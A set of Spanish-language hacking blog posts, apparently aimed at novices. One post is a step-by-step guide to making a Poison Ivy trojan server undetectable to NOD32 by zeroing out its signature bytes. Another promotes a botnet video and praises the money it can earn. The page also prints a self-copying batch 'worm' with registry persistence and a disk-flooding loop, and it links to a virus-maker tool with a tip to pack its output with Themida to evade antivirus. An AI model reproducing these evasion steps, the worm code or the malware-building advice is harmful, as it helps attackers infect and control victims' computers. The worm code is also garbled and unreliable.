Introduccion:
En este video se ve como dejo un server puro del troyano poison ivy 2.3.2 indetectable al antivirus nod32 actualizado al dia.
El metodo que uso es uno de los mas faciles y rapidos, lo que realizo es buscar y encontrar la firma detectada por el antivirus con el signaturezero, reemplazando con ceros por partes el codigo hasta ayarla, una vez ayada la firma detectada exactamente, simplemente la reemplazo con ceros y el server queda indetectable al antivirus y totalmente funcional. Este metodo no requiere de edicion hexadecimal, cambios de flujo ni nada de eso, simplemente lo que se hace es borrar la firma, por lo tanto no funcionara con todos los troyanos ni con la mayoria de los encriptadores, porque romperian el archivo, si lo quieren terminar con cualquier encriptador o troyano pueden continuar leyendo el manual de Octalh (desde pag9).
Yo lo demostre con el poison ivy porque el tamaño de su server es muy pequeño y es rapido para encontrar las firmas, y utilize el nod32 porque es el antivirus que utilizo, pero un amigo lo probo con el KAV y funciona perfectamente (tienen que desactivar la inyeccion en la creacion del server para que no lo detecte la defensa proactiva de mierda)


Video:

Pasos que realize:
-Primero y principal exclui del nod32 la carpeta con la que voy a trabajar por el simple hecho de evitar que salte el cartelito diciendo que se encontro un virus cada vez que ejecuto el signaturezero, el poison ivy, los server, y demas.
-Descargue el poison ivy 2.3.2 y el signaturezero y los puse en la carpeta donde trabajare, anteriormente excluida con el nod32.
-Lo siguiente que realize fue crear el server del poison ivy 2.3.2 y lo coloque en la misma carpeta con el nombre SERVER.exe.
-Lo escanie con el nod32 y obiamente lo detectaba como troyano.
-Ejecute el siganturezero y abri el server que cree con el poison ivy (SERVER.exe)
-Rellene con ceros la parte de la derecha del server y guarde el archivo resultante con nombre "1" sin extencion.
-Abri el notepad para anotar los datos, en este caso anote 3498 que es hasta donde rellenare de ceros (no es nesesario, pero sirve para agilizar)
-Escanie el archivo "1" que guarde, con el nod32 y me aparecia que el archivo estaba infectado, lo que quiere decir que la firma que buscamos se encuentra del lado izquierdo, ya que no se relleno de ceros ese lado.
-Abri de vuelta el signaturezero, abri el server y rellene de ceros la parte izquierda del server desde 512 hasta 3498 y guarde el archivo como "2"
-Escanie el archivo "2" con el nod y me decia que el archivo estaba desinfectado, quiere decir que la firma se encuentra entre 512 y 3498.
-Despues avanze un poco hacia la izquierda, pase de 3498 a 2505, lleno de ceros guarde como "3" y analise el server: limpio, por lo tanto la firma se encuentra entre 512 y 2505.
-Seguidamente avanze hacia la derecha de 512 a 1287 lleno de ceros, guardo, analizo: server limpio, la firma se encuentra entre 1287 y 2505
-Avanzo hacia izquierda de 2505 a 2029, lleno, guardo, analizo, server limpio, la firma se encuentra entre 1287 y 2029
-Y haci sigo hasta que llego a llenar de ceros entre 1679 y 1777, guardo, analizo y me da que esta infectado, por lo tanto la firma no esta entre 1679 y 1777, por logica tiene que estar entre 1777 y 2029 y sigo el procedimiento.
-De esta manera sigo avanzando de izquierda a derecha e inversamente hasta llegar ayar la firma.
-Una vez allada la firma exacta (en mi caso esta entre 1971 y 1973), la relleno de ceros y guardo el archivo resultante con extencion .exe.

-Eso es todo ya tengo mi server del poison ivy indetectable al nod32 y pueden ver que funciona perfectamente.

Video:
Dejando indetectable el poison ivy al nod32 con signaturezero (online en flash)
Dejando indetectable el poison ivy al nod32 con signaturezero (descarga en wmv)

Descargas:
SignatureZero
Poison Ivy 2.3.2

Root3d creo un video muy bueno sobre botnets y maquinas zombies, no explica todo el proceso de creacion, pero se ve claramente el proceso de control, o sea como controla todas estas maquinas zombies mediante un servidor de irc.
Tal vez para muchos que no saben del tema viendo este video se daran cuenta del poder que tienen con una botnet de unos cientos de maquinas zombies; puden realizar ataques ddos, realizar spam masivo, descargar, subir y ejecutar archivos en todas las pc, y muchisimo mas, todo de forma masiva, a diferencia de los troyanos.
Y si pueden realizar estas actividades pueden ganar una gran cantidad de dinero con una botnet grande.
El video pesa aproximadamente 75Mb, y dura unos 40 minutos, extension .avi. Todo el proceso esta claramente detallado por el autor.

Dejo algunas imagenes del video:

En esta imagen se ve la lista de todos los comandos del rxbot, proximamente la subire y la posteare.

En esta imagen se ve como puede ver descargar, subir y ejecutar archivos a una pc zombie, y al final se ve que utiliza el keylogger.

Vemos todos los bots conectando al servidor irc

En esta imagen veemos todas las maquinas zombies listas para recivir instrucciones


Descarga del video:
Botnets y Maquinas Zombies by root3d

Bueno, aquí os dejo un video donde se ve claramente como entrar al pc de otro por medio de la IP, llamado ARP, no explico como hacerlo, pero en el video se ve claramente la visualización de un PC remoto por medio de este protocolo, ya explicaré como hacer esto.

Video de como crear un virus gusano en batch desde 0. Ideal para novatos en el tema.



Codigo:
_____________________________________________
@echo off
copy %0%windir%system32worm.bat
REG ADD HKLMsoftwaremicrosoftwindowscurrentversionrun /v hack
/d %windir%system32worm.bat
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm
_____________________________________________

si ejecutas el archivo worm.bat se crearan archivos infinitos en nuestro pc.
nuestro worm se autocopiara en el directorio
c:windowssystem32worm.bat
cada ves que se incie el pc y la segunda linea es para agregar una entrada al registro lo kual iniciara el virus kada ves ke se inicie sesion.

Pues bien, parece algo increible o extrano el saber que podemos ocultar archivos dentro de cualquier imagen JPG, solo es necesario un compresor como 7-Zip y una linea de comandos (CMD) podremos lograr esta accion.
Vean el video.

Hoy dejo un poderoso creador de virus, el Terabit Virus Maker 2.8 se (la ultima version). Es muy facil de utilizar, y muy dañino. Dejo un video en ingles para que vean mas o menos como se lo utliza.



Imagen de pantalla prinsipal:



PD: Cuando creen el virus no se olviden de pasarle el themida para hacerlo indetectable.

Descargar Terabit Virus Maker (Link Arreglado y cambiado a rapidshare, funciona, comprobado por mi)

Si tienen problemas con la descarga dejen un comentario. Y cambio el link